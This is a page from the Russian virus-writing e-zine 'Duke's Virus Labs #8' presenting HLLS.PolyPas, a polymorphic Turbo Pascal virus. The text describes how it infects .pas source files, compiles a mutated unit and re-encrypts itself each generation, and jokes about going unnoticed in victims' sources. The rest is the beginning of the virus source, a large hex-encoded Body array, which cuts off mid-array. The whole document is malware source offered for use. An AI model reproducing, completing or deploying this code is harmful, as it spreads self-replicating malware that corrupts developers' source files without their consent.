- [Duke's Virus Labs #8] - [Page 06] - HLLS.PolyPas (c) by Deviator/HAZARD Имя вируса : HLLS.PolyPas Автор : Deviator/HAZARD Язык прогр. : Turbo Pascal 7.0 Мутирующий .Pas вирус. Назвывается PolyPas. Живет на .Pas файлах. При запуске создает полиморфный unit с вирусом и заражает все .pas файлы,у которых размер < 16k. Недостатки: - Нужен компилятор в Path (желательно). Если такового не нашли - оставляем вирус в сорцах - авось не заметят.. ;) - Некоторые глюки с Mutation Engine (иногда не компилируется) - Если существует PP.Tpu ,все-равно будет создаватся новый. - Нужно минимум 250kb свободной памяти для запуска компилятора :( Фичи: - Ищет компилятор и запускает его без помощи Command.Com - Сорцы вируса в вирусе криптуются,с каждым поколением,разным ключом. P.S. Дрозофила,включенная в релиз, второго поколения. P.S.S Специально для DVL. Deviator [HAZARD]. ===== begin pp.pas ===== { Неудачный вирус. Можно было сделать все проще и меньше, да облом ;) } Unit PP; { Our unit name } InterFace { There is no names } Implementation Uses Dos; {$I-} { No Error checking } {$M $4000,0,65000} { Not quite useful } Type SS = String[128]; { For victim sources } SSP = ^SS; Const ArrLen = 8920; { Our sources length } VarNum = 20; { Maximum number of garbage variables } Body : Array [0..ArrLen] of Byte = ( $55,$6E,$69,$74,$20,$50,$50,$3B,$0D,$0A, $49,$6E,$74,$65,$72,$46,$61,$63,$65,$0D, $0A,$49,$6D,$70,$6C,$65,$6D,$65,$6E,$74, $61,$74,$69,$6F,$6E,$0D,$0A,$55,$73,$65, $73,$20,$44,$6F,$73,$3B,$0D,$0A,$7B,$24, $49,$2D,$7D,$0D,$0A,$7B,$24,$4D,$20,$24, $34,$30,$30,$30,$2C,$30,$2C,$36,$35,$30, $30,$30,$7D,$0D,$0A,$54,$79,$70,$65,$0D, $0A,$53,$53,$20,$3D,$20,$53,$74,$72,$69, $6E,$67,$5B,$31,$32,$38,$5D,$3B,$0D,$0A, $53,$53,$50,$20,$3D,$20,$5E,$53,$53,$3B, $0D,$0A,$43,$6F,$6E,$73,$74,$0D,$0A,$41, $72,$72,$4C,$65,$6E,$20,$3D,$20,$38,$39, $32,$30,$3B,$0D,$0A,$56,$61,$72,$4E,$75, $6D,$20,$3D,$20,$32,$30,$3B,$0D,$0A,$42, $6F,$64,$79,$20,$3A,$20,$41,$72,$72,$61, $79,$20,$5B,$30,$2E,$2E,$41,$72,$72,$4C, $65,$6E,$5D,$20,$6F,$66,$20,$42,$79,$74, $65,$20,$3D,$20,$28,$0D,$0A,$29,$3B,$0D, $0A,$56,$61,$72,$0D,$0A,$56,$61,$72,$73, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $20,$20,$3A,$20,$41,$72,$72,$61,$79,$20, $5B,$30,$2E,$2E,$56,$61,$72,$4E,$75,$6D, $5D,$20,$6F,$66,$20,$53,$74,$72,$69,$6E, $67,$5B,$31,$35,$5D,$3B,$0D,$0A,$56,$61, $72,$73,$54,$20,$20,$20,$20,$20,$20,$20, $20,$20,$20,$20,$3A,$20,$41,$72,$72,$61, $79,$20,$5B,$30,$2E,$2E,$56,$61,$72,$4E, $75,$6D,$5D,$20,$6F,$66,$20,$42,$79,$74, $65,$3B,$0D,$0A,$56,$61,$72,$4E,$20,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $3A,$20,$57,$6F,$72,$64,$3B,$0D,$0A,$42, $42,$4E,$20,$20,$20,$20,$20,$20,$20,$20, $20,$20,$20,$20,$20,$3A,$20,$41,$72,$72, $61,$79,$20,$5B,$30,$2E,$2E,$35,$30,$30, $30,$5D,$20,$6F,$66,$20,$53,$53,$70,$3B, $0D,$0A,$44,$65,$73,$74,$20,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$20,$3A,$20, $50,$6F,$69,$6E,$74,$65,$72,$3B,$0D,$0A, $57,$53,$74,$72,$69,$6E,$67,$20,$20,$20, $20,$20,$20,$20,$20,$20,$3A,$20,$53,$74, $72,$69,$6E,$67,$3B,$0D,$0A,$44,$53,$74, $72,$69,$6E,$67,$20,$20,$20,$20,$20,$20, $20,$20,$20,$3A,$20,$53,$74,$72,$69,$6E, $67,$3B,$0D,$0A,$58,$53,$74,$72,$69,$6E, $67,$20,$20,$20,$20,$20,$20,$20,$20,$20, $3A,$20,$53,$74,$72,$69,$6E,$67,$3B,$0D, $0A,$49,$2C,$5A,$2C,$58,$2C,$43,$2C,$56, $20,$20,$20,$20,$20,$20,$20,$3A,$20,$49, $6E,$74,$65,$67,$65,$72,$3B,$0D,$0A,$42, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $20,$20,$20,$20,$20,$3A,$20,$42,$79,$74, $65,$3B,$0D,$0A,$49,$6E,$46,$75,$6E,$63, $74,$69,$6F,$6E,$20,$20,$20,$20,$20,$20, $3A,$20,$42,$6F,$6F,$6C,$65,$61,$6E,$3B, $0D,$0A,$42,$65,$67,$69,$6E,$4E,$75,$6D, $20,$20,$20,$20,$20,$20,$20,$20,$3A,$20, $42,$79,$74,$65,$3B,$0D,$0A,$46,$43,$6F, $6E,$73,$74,$20,$20,$20,$20,$20,$20,$20, $20,$20,$20,$3A,$20,$42,$6F,$6F,$6C,$65, $61,$6E,$3B,$0D,$0A,$46,$56,$61,$72,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $20,$3A,$20,$42,$6F,$6F,$6C,$65,$61,$6E, $3B,$0D,$0A,$46,$75,$6E,$63,$74,$69,$6F, $6E,$42,$65,$67,$20,$20,$20,$20,$20,$3A, $20,$42,$6F,$6F,$6C,$65,$61,$6E,$3B,$0D, $0A,$4E,$6F,$4D,$6F,$72,$65,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$3A,$20,$42, $6F,$6F,$6C,$65,$61,$6E,$3B,$0D,$0A,$42, $65,$67,$69,$6E,$46,$75,$6E,$63,$20,$20, $20,$20,$20,$20,$20,$3A,$20,$42,$79,$74, $65,$3B,$0D,$0A,$49,$6E,$43,$61,$73,$65, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $3A,$20,$42,$6F,$6F,$6C,$65,$61,$6E,$3B, $20,$4B,$65,$79,$7A,$3A,$42,$79,$74,$65, $3B,$0D,$0A,$46,$69,$7A,$20,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$3A, $20,$53,$65,$61,$72,$63,$68,$52,$65,$63, $3B,$0D,$0A,$46,$65,$7A,$69,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$3A, $20,$54,$65,$78,$74,$3B,$0D,$0A,$41,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $20,$20,$20,$20,$3A,$20,$54,$65,$78,$74, $3B,$0D,$0A,$43,$50,$6F,$73,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$3A, $20,$49,$6E,$74,$65,$67,$65,$72,$3B,$0D, $0A,$4B,$65,$79,$20,$20,$20,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$3A,$20,$42, $79,$74,$65,$3B,$0D,$0A,$42,$70,$6F,$73, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $20,$20,$3A,$20,$42,$6F,$6F,$6C,$65,$61, $6E,$3B,$0D,$0A,$49,$6E,$47,$20,$20,$20, $20,$20,$20,$20,$20,$20,$20,$20,$20,$20, $3A,$20,$42,$79,$74,$65,$3B,$0D,$0A,$49, $6E,$4C,$6F,$6F,$70,$20,$20,$20,$20,$20, $20,$20,$20,$20,$20,$3A,$20,$42,$6F,$6F, $6C,$65,$61,$6E,$3B,$0D,$0A,$49,$6E,$4C, $6F,$6F,$70,$56,$61,$72,$20,$20,$20,$20, $20,$20,$20,$3A,$20,$42,$79,$74,$65,$3B, $0D,$0A,$0D,$0A,$50,$72,$6F,$63,$65,$64, $75,$72,$65,$20,$20,$4F,$75,$72,$50,$72, $6F,$63,$3B,$20,$49,$6E,$74,$65,$72,$72, $75,$70,$74,$3B,$20,$42,$65,$67,$69,$6E, $20,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$50, $72,$6F,$63,$65,$64,$75,$72,$65,$20,$20, $43,$6F,$6D,$70,$69,$6C,$65,$28,$43,$4E, $61,$6D,$65,$3A,$53,$74,$72,$69,$6E,$67, $29,$3B,$0D,$0A,$56,$61,$72,$0D,$0A,$46, $3A,$53,$74,$72,$69,$6E,$67,$3B,$0D,$0A, $47,$3A,$50,$6F,$69,$6E,$74,$65,$72,$3B, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$47, $65,$74,$49,$6E,$74,$56,$65,$63,$28,$24, $31,$30,$2C,$47,$29,$3B,$0D,$0A,$53,$65, $74,$49,$6E,$74,$56,$65,$63,$28,$24,$31, $30,$2C,$41,$64,$64,$72,$28,$4F,$75,$72, $50,$72,$6F,$63,$29,$29,$3B,$0D,$0A,$53, $77,$61,$70,$56,$65,$63,$74,$6F,$72,$73, $3B,$0D,$0A,$46,$20,$3A,$3D,$20,$27,$2D, $51,$20,$27,$2B,$44,$53,$74,$72,$69,$6E, $67,$20,$2B,$20,$27,$5C,$50,$50,$2E,$50, $41,$53,$27,$3B,$0D,$0A,$45,$78,$65,$63, $28,$43,$4E,$41,$4D,$45,$2C,$46,$29,$3B, $0D,$0A,$53,$77,$61,$70,$56,$65,$63,$74, $6F,$72,$73,$3B,$0D,$0A,$53,$65,$74,$49, $6E,$74,$56,$65,$63,$28,$24,$31,$30,$2C, $47,$29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D, $0A,$0D,$0A,$46,$75,$6E,$63,$74,$69,$6F, $6E,$20,$54,$6F,$57,$6F,$72,$64,$28,$53, $74,$72,$50,$3A,$53,$74,$72,$69,$6E,$67, $29,$3A,$53,$74,$72,$69,$6E,$67,$3B,$0D, $0A,$56,$61,$72,$0D,$0A,$67,$3A,$49,$6E, $74,$65,$67,$65,$72,$3B,$0D,$0A,$42,$65, $67,$69,$6E,$0D,$0A,$54,$6F,$57,$6F,$72, $64,$20,$3A,$3D,$20,$27,$27,$3B,$0D,$0A, $46,$6F,$72,$20,$67,$20,$3A,$3D,$20,$31, $20,$74,$6F,$20,$4C,$65,$6E,$67,$74,$68, $28,$53,$74,$72,$50,$29,$20,$64,$6F,$0D, $0A,$49,$66,$20,$28,$53,$74,$72,$50,$5B, $47,$5D,$20,$3C,$3E,$20,$27,$20,$27,$29, $20,$61,$6E,$64,$20,$28,$53,$74,$72,$50, $5B,$47,$5D,$20,$3C,$3E,$20,$43,$68,$72, $28,$39,$29,$29,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$54,$6F, $57,$6F,$72,$64,$20,$3A,$3D,$20,$43,$6F, $70,$79,$28,$53,$74,$72,$50,$2C,$47,$2C, $4C,$65,$6E,$67,$74,$68,$28,$53,$74,$72, $50,$29,$2D,$47,$2B,$31,$29,$3B,$0D,$0A, $42,$72,$65,$61,$6B,$3B,$0D,$0A,$45,$6E, $64,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A, $0D,$0A,$0D,$0A,$46,$75,$6E,$63,$74,$69, $6F,$6E,$20,$57,$6F,$72,$64,$43,$6F,$75, $6E,$74,$28,$46,$46,$3A,$53,$74,$72,$69, $6E,$67,$29,$3A,$42,$79,$74,$65,$3B,$0D, $0A,$56,$61,$72,$0D,$0A,$53,$2C,$47,$3A, $53,$74,$72,$69,$6E,$67,$3B,$0D,$0A,$42, $2C,$4C,$3A,$42,$79,$74,$65,$3B,$0D,$0A, $42,$65,$67,$69,$6E,$0D,$0A,$42,$20,$3A, $3D,$20,$30,$3B,$0D,$0A,$53,$20,$3A,$3D, $20,$54,$6F,$57,$6F,$72,$64,$28,$46,$46, $29,$3B,$0D,$0A,$72,$65,$70,$65,$61,$74, $0D,$0A,$4C,$20,$3A,$3D,$20,$50,$6F,$73, $28,$27,$20,$27,$2C,$53,$29,$3B,$0D,$0A, $53,$20,$3A,$3D,$20,$43,$6F,$70,$79,$28, $53,$2C,$4C,$2B,$31,$2C,$4C,$65,$6E,$67, $74,$68,$28,$53,$29,$29,$3B,$0D,$0A,$49, $6E,$63,$28,$42,$29,$3B,$0D,$0A,$75,$6E, $74,$69,$6C,$20,$4C,$20,$3D,$20,$30,$3B, $0D,$0A,$57,$6F,$72,$64,$43,$6F,$75,$6E, $74,$20,$3A,$3D,$20,$42,$20,$2D,$20,$31, $3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$0D, $0A,$46,$75,$6E,$63,$74,$69,$6F,$6E,$20, $47,$65,$74,$53,$74,$72,$69,$6E,$67,$3A, $53,$74,$72,$69,$6E,$67,$3B,$0D,$0A,$56, $61,$72,$0D,$0A,$46,$3A,$53,$74,$72,$69, $6E,$67,$3B,$0D,$0A,$4B,$2C,$4C,$3A,$49, $6E,$74,$65,$67,$65,$72,$3B,$0D,$0A,$42, $65,$67,$69,$6E,$0D,$0A,$46,$20,$3A,$3D, $20,$27,$27,$3B,$0D,$0A,$72,$65,$70,$65, $61,$74,$0D,$0A,$42,$20,$3A,$3D,$20,$42, $6F,$64,$79,$5B,$43,$50,$6F,$73,$5D,$3B, $0D,$0A,$49,$6E,$63,$28,$43,$70,$6F,$73, $29,$3B,$0D,$0A,$49,$66,$20,$28,$42,$20, $3C,$3E,$20,$24,$30,$44,$29,$20,$61,$6E, $64,$20,$28,$42,$20,$3C,$3E,$20,$24,$30, $41,$29,$20,$74,$68,$65,$6E,$20,$46,$20, $3A,$3D,$20,$46,$20,$2B,$20,$43,$68,$72, $28,$42,$29,$3B,$0D,$0A,$75,$6E,$74,$69, $6C,$20,$28,$42,$3D,$24,$30,$44,$29,$20, $6F,$72,$20,$28,$42,$3D,$24,$30,$41,$29, $3B,$0D,$0A,$49,$66,$20,$28,$42,$6F,$64, $79,$5B,$43,$50,$6F,$73,$5D,$20,$3D,$20, $24,$30,$41,$29,$20,$6F,$72,$20,$28,$42, $6F,$64,$79,$5B,$43,$50,$6F,$73,$5D,$20, $3D,$20,$24,$30,$44,$29,$20,$74,$68,$65, $6E,$20,$49,$6E,$63,$28,$43,$50,$6F,$73, $29,$3B,$0D,$0A,$47,$65,$74,$53,$74,$72, $69,$6E,$67,$20,$3A,$3D,$20,$46,$3B,$0D, $0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$46, $75,$6E,$63,$74,$69,$6F,$6E,$20,$55,$43, $61,$73,$65,$28,$53,$74,$72,$50,$3A,$53, $74,$72,$69,$6E,$67,$29,$3A,$53,$74,$72, $69,$6E,$67,$3B,$0D,$0A,$56,$61,$72,$0D, $0A,$47,$3A,$49,$6E,$74,$65,$67,$65,$72, $3B,$0D,$0A,$4D,$3A,$53,$74,$72,$69,$6E, $67,$3B,$0D,$0A,$42,$65,$67,$69,$6E,$0D, $0A,$4D,$20,$3A,$3D,$20,$27,$27,$3B,$0D, $0A,$46,$6F,$72,$20,$47,$20,$3A,$3D,$20, $31,$20,$74,$6F,$20,$4C,$65,$6E,$67,$74, $68,$28,$53,$74,$72,$50,$29,$20,$64,$6F, $20,$4D,$20,$3A,$3D,$20,$4D,$20,$2B,$20, $55,$70,$43,$61,$73,$65,$28,$53,$74,$72, $50,$5B,$47,$5D,$29,$3B,$0D,$0A,$55,$43, $61,$73,$65,$20,$3A,$3D,$20,$4D,$3B,$0D, $0A,$45,$6E,$64,$3B,$0D,$0A,$46,$75,$6E, $63,$74,$69,$6F,$6E,$20,$47,$65,$74,$57, $6F,$72,$64,$28,$53,$74,$72,$50,$3A,$53, $74,$72,$69,$6E,$67,$3B,$43,$6F,$75,$6E, $74,$3A,$49,$6E,$74,$65,$67,$65,$72,$29, $3A,$53,$74,$72,$69,$6E,$67,$3B,$0D,$0A, $56,$61,$72,$0D,$0A,$4C,$3A,$53,$74,$72, $69,$6E,$67,$3B,$0D,$0A,$47,$2C,$42,$2C, $4E,$3A,$49,$6E,$74,$65,$67,$65,$72,$3B, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$47, $20,$3A,$3D,$20,$31,$3B,$0D,$0A,$42,$20, $3A,$3D,$20,$43,$6F,$75,$6E,$74,$3B,$0D, $0A,$4C,$20,$3A,$3D,$20,$27,$27,$3B,$0D, $0A,$46,$6F,$72,$20,$4E,$20,$3A,$3D,$20, $31,$20,$74,$6F,$20,$4C,$65,$6E,$67,$74, $68,$28,$53,$74,$72,$50,$29,$20,$64,$6F, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$49, $66,$20,$28,$53,$74,$72,$50,$5B,$4E,$5D, $20,$3D,$20,$27,$20,$27,$29,$20,$6F,$72, $20,$28,$53,$74,$72,$50,$5B,$4E,$5D,$20, $3D,$20,$43,$68,$72,$28,$24,$30,$39,$29, $29,$20,$74,$68,$65,$6E,$0D,$0A,$42,$65, $67,$69,$6E,$0D,$0A,$4C,$20,$3A,$3D,$20, $43,$6F,$70,$79,$28,$53,$74,$72,$50,$2C, $47,$2C,$4E,$2D,$31,$29,$3B,$0D,$0A,$44, $65,$63,$28,$42,$29,$3B,$0D,$0A,$49,$66, $20,$28,$42,$29,$20,$3D,$20,$30,$20,$74, $68,$65,$6E,$20,$42,$72,$65,$61,$6B,$3B, $0D,$0A,$44,$65,$63,$28,$4E,$29,$3B,$0D, $0A,$72,$65,$70,$65,$61,$74,$0D,$0A,$49, $6E,$63,$28,$4E,$29,$3B,$0D,$0A,$75,$6E, $74,$69,$6C,$20,$53,$74,$72,$50,$5B,$4E, $5D,$20,$3D,$20,$27,$20,$27,$3B,$0D,$0A, $45,$6E,$64,$3B,$0D,$0A,$45,$6E,$64,$3B, $0D,$0A,$49,$66,$20,$4E,$20,$3D,$20,$4C, $65,$6E,$67,$74,$68,$28,$53,$74,$72,$50, $29,$20,$74,$68,$65,$6E,$20,$4C,$20,$3A, $3D,$20,$43,$6F,$70,$79,$28,$53,$74,$72, $50,$2C,$47,$2C,$4E,$29,$3B,$0D,$0A,$47, $65,$74,$57,$6F,$72,$64,$20,$3A,$3D,$20, $4C,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A, $0D,$0A,$50,$72,$6F,$63,$65,$64,$75,$72, $65,$20,$4D,$61,$6B,$65,$47,$61,$72,$62, $3B,$20,$46,$6F,$72,$77,$61,$72,$64,$3B, $0D,$0A,$0D,$0A,$50,$72,$6F,$63,$65,$64, $75,$72,$65,$20,$4D,$61,$6B,$65,$56,$61, $72,$3B,$0D,$0A,$43,$6F,$6E,$73,$74,$0D, $0A,$56,$61,$72,$74,$3A,$41,$72,$72,$61, $79,$5B,$30,$2E,$2E,$34,$5D,$20,$6F,$66, $20,$53,$74,$72,$69,$6E,$67,$20,$3D,$20, $28,$27,$42,$79,$74,$65,$27,$2C,$27,$53, $74,$72,$69,$6E,$67,$27,$2C,$27,$42,$6F, $6F,$6C,$65,$61,$6E,$27,$2C,$27,$49,$6E, $74,$65,$67,$65,$72,$27,$2C,$27,$43,$68, $61,$72,$27,$29,$3B,$0D,$0A,$56,$61,$72, $0D,$0A,$46,$3A,$53,$74,$72,$69,$6E,$67, $5B,$31,$35,$5D,$3B,$0D,$0A,$47,$2C,$49, $2C,$48,$3A,$49,$6E,$74,$65,$67,$65,$72, $3B,$0D,$0A,$42,$42,$3A,$42,$79,$74,$65, $3B,$0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A, $49,$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F, $6D,$28,$31,$30,$29,$2B,$34,$3B,$0D,$0A, $46,$20,$3A,$3D,$20,$27,$27,$3B,$0D,$0A, $46,$6F,$72,$20,$48,$20,$3A,$3D,$20,$30, $20,$74,$6F,$20,$49,$20,$64,$6F,$20,$46, $20,$3A,$3D,$20,$46,$20,$2B,$20,$43,$68, $72,$28,$52,$61,$6E,$64,$6F,$6D,$28,$32, $34,$29,$2B,$36,$35,$29,$3B,$0D,$0A,$46, $6F,$72,$20,$48,$20,$3A,$3D,$20,$30,$20, $74,$6F,$20,$56,$61,$72,$4E,$20,$64,$6F, $20,$49,$66,$20,$56,$61,$72,$73,$5B,$48, $5D,$20,$3D,$20,$46,$20,$74,$68,$65,$6E, $20,$45,$78,$69,$74,$3B,$0D,$0A,$57,$72, $69,$74,$65,$28,$41,$2C,$46,$29,$3B,$0D, $0A,$56,$61,$72,$73,$5B,$56,$61,$72,$4E, $5D,$20,$3A,$3D,$20,$46,$3B,$0D,$0A,$42, $42,$20,$3A,$3D,$20,$52,$61,$6E,$64,$6F, $6D,$28,$34,$29,$3B,$0D,$0A,$57,$72,$69, $74,$65,$6C,$6E,$28,$41,$2C,$27,$20,$20, $3A,$20,$27,$2B,$56,$61,$72,$74,$5B,$42, $42,$5D,$2B,$27,$3B,$27,$29,$3B,$0D,$0A, $56,$61,$72,$73,$54,$5B,$56,$61,$72,$4E, $5D,$20,$3A,$3D,$20,$42,$42,$3B,$0D,$0A, $49,$6E,$63,$28,$56,$61,$72,$4E,$29,$3B, $0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$0D,$0A, $50,$72,$6F,$63,$65,$64,$75,$72,$65,$20, $4D,$61,$6B,$65,$41,$72,$3B,$0D,$0A,$43, $6F,$6E,$73,$74,$0D,$0A,$42,$6F,$6F,$7A, $3A,$41,$72,$72,$61,$79,$5B,$30,$2E,$2E, $31,$5D,$20,$6F,$66,$20,$53,$74,$72,$69, $6E,$67,$5B,$35,$5D,$20,$3D,$20,$28,$27, $54,$72,$75,$65,$27,$2C,$27,$46,$61,$6C, $73,$65,$27,$29,$3B,$0D,$0A,$56,$61,$72, $0D,$0A,$46,$3A,$53,$74,$72,$69,$6E,$67, $3B,$0D,$0A,$47,$2C,$48,$2C,$4A,$3A,$49, $6E,$74,$65,$67,$65,$72,$3B,$0D,$0A,$42, $65,$67,$69,$6E,$0D,$0A,$72,$65,$70,$65, $61,$74,$0D,$0A,$47,$20,$3A,$3D,$20,$52, $61,$6E,$64,$6F,$6D,$28,$56,$61,$72,$4E, $2D,$31,$29,$3B,$0D,$0A,$75,$6E,$74,$69, $6C,$20,$47,$20,$3C,$3E,$20,$49,$6E,$4C, $6F,$6F,$70,$56,$61,$72,$3B,$0D,$0A,$57, $72,$69,$74,$65,$28,$41,$2C,$56,$61,$72, $73,$5B,$47,$5D,$2B,$27,$20,$3A,$3D,$20, $27,$29,$3B,$0D,$0A,$49,$66,$20,$56,$61, $72,$73,$54,$5B,$47,$5D,$20,$3D,$20,$32, $20,$74,$68,$65,$6E,$20,$57,$72,$69,$74, $65,$6C,$6E,$28,$41,$2C,$42,$6F,$6F,$7A, $5B,$52,$61,$6E,$64,$6F,$6D,$28,$31,$29, $5D,$2B,$27,$3B,$27,$29,$3B,$0D,$0A,$49, $66,$20,$56,$61,$72,$73,$54,$5B,$47,$5D, $20,$3D,$20,$31,$20,$74,$68,$65,$6E,$0D, $0A,$42,$65,$67,$69,$6E,$0D,$0A,$4A,$20, $3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D,$28, $31,$30,$29,$2B,$35,$3B,$0D,$0A,$46,$20, $3A,$3D,$20,$43,$68,$72,$28,$33,$39,$29, $3B,$0D,$0A,$49,$66,$20,$56,$61,$72,$73, $54,$5B,$47,$5D,$20,$3D,$20,$31,$20,$74, $68,$65,$6E,$20,$46,$6F,$72,$20,$48,$20, $3A,$3D,$20,$30,$20,$74,$6F,$20,$4A,$20, $64,$6F,$20,$46,$20,$3A,$3D,$20,$46,$20, $2B,$20,$43,$68,$72,$28,$52,$61,$6E,$64, $6F,$6D,$28,$32,$34,$29,$2B,$36,$35,$29, $3B,$0D,$0A,$46,$20,$3A,$3D,$20,$46,$20, $2B,$20,$43,$68,$72,$28,$33,$39,$29,$2B, $27,$3B,$27,$3B,$0D,$0A,$57,$72,$69,$74, $65,$6C,$6E,$28,$41,$2C,$46,$29,$3B,$0D, $0A,$45,$6E,$64,$3B,$0D,$0A,$49,$66,$20, $56,$61,$72,$73,$54,$5B,$47,$5D,$20,$3D, $20,$34,$20,$74,$68,$65,$6E,$20,$57,$72, $69,$74,$65,$6C,$6E,$28,$41,$2C,$43,$68, $72,$28,$33,$39,$29,$2B,$43,$68,$72,$28, $52,$61,$6E,$64,$6F,$6D,$28,$32,$34,$29, $2B,$36,$35,$29,$2B,$43,$68,$72,$28,$33, $39,$29,$2B,$27,$3B,$27,$29,$3B,$0D,$0A, $49,$66,$20,$56,$61,$72,$73,$54,$5B,$47, $5D,$20,$3D,$20,$30,$20,$74,$68,$65,$6E, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$48, $20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D, $28,$32,$35,$35,$29,$3B,$0D,$0A,$57,$72, $69,$74,$65,$6C,$6E,$28,$41,$2C,$48,$2C, $27,$3B,$27,$29,$3B,$0D,$0A,$45,$6E,$64, $3B,$0D,$0A,$49,$66,$20,$56,$61,$72,$73, $54,$5B,$47,$5D,$20,$3D,$20,$33,$20,$74, $68,$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E, $0D,$0A,$48,$20,$3A,$3D,$20,$52,$61,$6E, $64,$6F,$6D,$28,$36,$35,$35,$33,$35,$29, $3B,$0D,$0A,$57,$72,$69,$74,$65,$6C,$6E, $28,$41,$2C,$48,$2C,$27,$3B,$27,$29,$3B, $0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$45,$6E, $64,$3B,$0D,$0A,$0D,$0A,$50,$72,$6F,$63, $65,$64,$75,$72,$65,$20,$4D,$61,$6B,$65, $49,$66,$3B,$0D,$0A,$43,$6F,$6E,$73,$74, $0D,$0A,$42,$6F,$6F,$7A,$3A,$41,$72,$72, $61,$79,$5B,$30,$2E,$2E,$31,$5D,$20,$6F, $66,$20,$53,$74,$72,$69,$6E,$67,$5B,$35, $5D,$20,$3D,$20,$28,$27,$54,$72,$75,$65, $27,$2C,$27,$46,$61,$6C,$73,$65,$27,$29, $3B,$0D,$0A,$56,$61,$72,$0D,$0A,$47,$2C, $48,$2C,$4A,$3A,$49,$6E,$74,$65,$67,$65, $72,$3B,$0D,$0A,$46,$3A,$53,$74,$72,$69, $6E,$67,$3B,$0D,$0A,$42,$65,$67,$69,$6E, $0D,$0A,$57,$72,$69,$74,$65,$28,$41,$2C, $27,$49,$66,$20,$27,$29,$3B,$0D,$0A,$47, $20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D, $28,$56,$61,$72,$4E,$2D,$31,$29,$3B,$0D, $0A,$57,$72,$69,$74,$65,$28,$41,$2C,$56, $61,$72,$73,$5B,$47,$5D,$2B,$27,$20,$3D, $20,$27,$29,$3B,$0D,$0A,$49,$66,$20,$56, $61,$72,$73,$54,$5B,$47,$5D,$20,$3D,$20, $32,$20,$74,$68,$65,$6E,$20,$57,$72,$69, $74,$65,$28,$41,$2C,$42,$6F,$6F,$7A,$5B, $52,$61,$6E,$64,$6F,$6D,$28,$31,$29,$5D, $29,$3B,$0D,$0A,$49,$66,$20,$56,$61,$72, $73,$54,$5B,$47,$5D,$20,$3D,$20,$31,$20, $74,$68,$65,$6E,$0D,$0A,$42,$65,$67,$69, $6E,$0D,$0A,$4A,$20,$3A,$3D,$20,$52,$61, $6E,$64,$6F,$6D,$28,$31,$30,$29,$2B,$35, $3B,$0D,$0A,$46,$20,$3A,$3D,$20,$43,$68, $72,$28,$33,$39,$29,$3B,$0D,$0A,$49,$66, $20,$56,$61,$72,$73,$54,$5B,$47,$5D,$20, $3D,$20,$31,$20,$74,$68,$65,$6E,$20,$46, $6F,$72,$20,$48,$20,$3A,$3D,$20,$30,$20, $74,$6F,$20,$4A,$20,$64,$6F,$20,$46,$20, $3A,$3D,$20,$46,$20,$2B,$20,$43,$68,$72, $28,$52,$61,$6E,$64,$6F,$6D,$28,$32,$34, $29,$2B,$36,$35,$29,$3B,$0D,$0A,$46,$20, $3A,$3D,$20,$46,$20,$2B,$20,$43,$68,$72, $28,$33,$39,$29,$3B,$0D,$0A,$57,$72,$69, $74,$65,$28,$41,$2C,$46,$29,$3B,$0D,$0A, $45,$6E,$64,$3B,$0D,$0A,$49,$66,$20,$56, $61,$72,$73,$54,$5B,$47,$5D,$20,$3D,$20, $34,$20,$74,$68,$65,$6E,$20,$57,$72,$69, $74,$65,$28,$41,$2C,$43,$68,$72,$28,$33, $39,$29,$2B,$43,$68,$72,$28,$52,$61,$6E, $64,$6F,$6D,$28,$32,$34,$29,$2B,$36,$35, $29,$2B,$43,$68,$72,$28,$33,$39,$29,$29, $3B,$0D,$0A,$49,$66,$20,$56,$61,$72,$73, $54,$5B,$47,$5D,$20,$3D,$20,$30,$20,$74, $68,$65,$6E,$0D,$0A,$42,$65,$67,$69,$6E, $0D,$0A,$48,$20,$3A,$3D,$20,$52,$61,$6E, $64,$6F,$6D,$28,$32,$35,$35,$29,$3B,$0D, $0A,$57,$72,$69,$74,$65,$28,$41,$2C,$48, $29,$3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A, $49,$66,$20,$56,$61,$72,$73,$54,$5B,$47, $5D,$20,$3D,$20,$33,$20,$74,$68,$65,$6E, $0D,$0A,$42,$65,$67,$69,$6E,$0D,$0A,$48, $20,$3A,$3D,$20,$52,$61,$6E,$64,$6F,$6D, $28,$36,$35,$35,$33,$35,$29,$3B,$0D,$0A, $57,$72,$69,$74,$65,$28,$41,$2C,$48,$29, $3B,$0D,$0A,$45,$6E,$64,$3B,$0D,$0A,$57, $72,$69,$74,$65,$28,$41,$2C,$27,$20,$54, $68,$65,$6E,$20,$27,$29,$3B,$0D,$0A,$4D, $61,$6B,$65,$47,$61,$72,$62,$3B,$0D,$0A, $45,$6E,$64,$3B,$0D,$0A,$0D,$0A,$50,$72, $6F,$63,$65,$64,$75,$72,$65,$20,$4D,$61, 